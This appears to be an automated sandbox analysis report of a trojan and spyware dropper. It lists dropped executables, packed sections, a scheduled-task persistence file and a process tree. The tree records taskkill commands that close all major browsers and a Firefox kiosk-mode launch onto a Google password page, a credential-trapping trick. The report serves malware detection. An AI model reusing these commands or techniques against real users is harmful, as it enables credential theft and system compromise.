Code function: 6_2_01069576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

6_2_01069576

System Summary

Binary is likely a compiled AutoIt script file

Source: MH7IABE9LKZLA9Q4.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: MH7IABE9LKZLA9Q4.exe, 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_38a6f952-3
Source: MH7IABE9LKZLA9Q4.exe, 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_87b367fa-c
Source: MH7IABE9LKZLA9Q4.exe.0.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_e7dbd31e-c
Source: MH7IABE9LKZLA9Q4.exe.0.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_67589835-9

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: FAMTYULW1YWOKDICAUX3Y390M.exe.0.dr	Static PE information: section name:
Source: FAMTYULW1YWOKDICAUX3Y390M.exe.0.dr	Static PE information: section name: .rsrc
Source: FAMTYULW1YWOKDICAUX3Y390M.exe.0.dr	Static PE information: section name: .idata
Source: FAMTYULW1YWOKDICAUX3Y390M.exe.0.dr	Static PE information: section name:
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.0.dr	Static PE information: section name:
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.0.dr	Static PE information: section name: .idata
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.0.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: random[1].exe.29.dr	Static PE information: section name:
Source: random[1].exe.29.dr	Static PE information: section name: .rsrc
Source: random[1].exe.29.dr	Static PE information: section name: .idata
Source: bf119f2261.exe.29.dr	Static PE information: section name:
Source: bf119f2261.exe.29.dr	Static PE information: section name: .rsrc
Source: bf119f2261.exe.29.dr	Static PE information: section name: .idata
Source: random[1].exe0.29.dr	Static PE information: section name:
Source: random[1].exe0.29.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.29.dr	Static PE information: section name: .idata
Source: random[1].exe0.29.dr	Static PE information: section name:
Source: 014cda2328.exe.29.dr	Static PE information: section name:
Source: 014cda2328.exe.29.dr	Static PE information: section name: .rsrc
Source: 014cda2328.exe.29.dr	Static PE information: section name: .idata
Source: 014cda2328.exe.29.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_0103D5EB: CreateFileW,DeviceIoControl,CloseHandle,

6_2_0103D5EB

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_01031201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

6_2_01031201

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_0103E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

6_2_0103E8F6

Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FD8060	6_2_00FD8060
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01042046	6_2_01042046
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01038298	6_2_01038298
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0100E4FF	6_2_0100E4FF
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0100676B	6_2_0100676B
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01064873	6_2_01064873
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FDCAF0	6_2_00FDCAF0
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FFCAA0	6_2_00FFCAA0
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FECC39	6_2_00FECC39
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01006DD9	6_2_01006DD9
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FD91C0	6_2_00FD91C0
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FEB119	6_2_00FEB119
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FF1394	6_2_00FF1394
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FF1706	6_2_00FF1706
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FF781B	6_2_00FF781B
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FF19B0	6_2_00FF19B0
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FE997D	6_2_00FE997D
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FD7920	6_2_00FD7920
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FF7A4A	6_2_00FF7A4A
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FF7CA7	6_2_00FF7CA7
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FF1C77	6_2_00FF1C77
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_0105BE44	6_2_0105BE44
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FF1F32	6_2_00FF1F32
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01009EEE	6_2_01009EEE

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: String function: 00FEF9F2 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: String function: 00FF0A30 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: String function: 00FD9CB3 appears 31 times

Source: random[1].exe0.29.dr	Static PE information: Data appended to the last section found
Source: 014cda2328.exe.29.dr	Static PE information: Data appended to the last section found

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9994907693894389
Source: FAMTYULW1YWOKDICAUX3Y390M.exe.0.dr	Static PE information: Section: dxmeshoa ZLIB complexity 0.9949712576583981
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982650715258855
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.0.dr	Static PE information: Section: yoiwrcva ZLIB complexity 0.9946011613111516
Source: skotes.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9982650715258855
Source: skotes.exe.4.dr	Static PE information: Section: yoiwrcva ZLIB complexity 0.9946011613111516
Source: random[1].exe.29.dr	Static PE information: Section: ZLIB complexity 0.9994907693894389
Source: bf119f2261.exe.29.dr	Static PE information: Section: ZLIB complexity 0.9994907693894389
Source: random[1].exe0.29.dr	Static PE information: Section: dxmeshoa ZLIB complexity 0.9956473836399108
Source: 014cda2328.exe.29.dr	Static PE information: Section: dxmeshoa ZLIB complexity 0.9956473836399108

Source: random[1].exe.29.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: bf119f2261.exe.29.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1719915306.00000000000D1000.00000040.00000001.01000000.00000006.sdmp, FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000003.1675675388.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@46/43@105/18

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_010437B5 GetLastError,FormatMessageW,

6_2_010437B5

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_010310BF AdjustTokenPrivileges,CloseHandle,		6_2_010310BF
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_010316C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		6_2_010316C3

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_010451CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

6_2_010451CD

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_0103D4DC CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

6_2_0103D4DC

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_0104648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

6_2_0104648E

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_00FD42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

6_2_00FD42A2

Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\QY99472F.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2268:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6436:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user~1\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1980060383.0000010CA8C42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1924289201.0000010CB3AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1973974827.0000010CA8C41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE timestamp BETWEEN date(:dateFrom) AND date(:dateTo);
Source: firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE events (id INTEGER PRIMARY KEY, type INTEGER NOT NULL, count INTEGER NOT NULL, timestamp DATE );
Source: firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INSERT INTO events (type, count, timestamp) VALUES (:type, 1, date(:date));
Source: firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;;
Source: firefox.exe, 00000015.00000003.2005143603.0000010CA7B79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1926529208.0000010CB103B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;
Source: firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;;Fy6
Source: firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE events SET count = count + 1 WHERE id = :id;-
Source: firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;9'
Source: file.exe, 00000000.00000003.1456579341.0000000005E8E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441135106.0000000005E84000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1440806786.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;9
Source: firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE type = :type AND timestamp = date(:date);

Source: FAMTYULW1YWOKDICAUX3Y390M.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: rRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeW

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe "C:\Users\user~1\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe "C:\Users\user~1\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe "C:\Users\user~1\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe"
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2196 -prefMapHandle 2180 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fe0c0586-83a7-43b9-8399-2172f07386c8} 5788 "\\.\pipe\gecko-crash-server-pipe.5788" 10c97870d10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2896 -parentBuildID 20230927232528 -prefsHandle 2984 -prefMapHandle 2980 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4b58a39a-4c30-4496-bf91-441cbbeb8dc2} 5788 "\\.\pipe\gecko-crash-server-pipe.5788" 10ca9a99b10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4972 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4960 -prefMapHandle 4940 -prefsLen 33185 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ffaf519c-90e4-435c-9280-7aa7be7af943} 5788 "\\.\pipe\gecko-crash-server-pipe.5788" 10caf552710 utility
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe "C:\Users\user~1\AppData\Local\Temp\1000349001\bf119f2261.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe "C:\Users\user~1\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe "C:\Users\user~1\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe "C:\Users\user~1\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
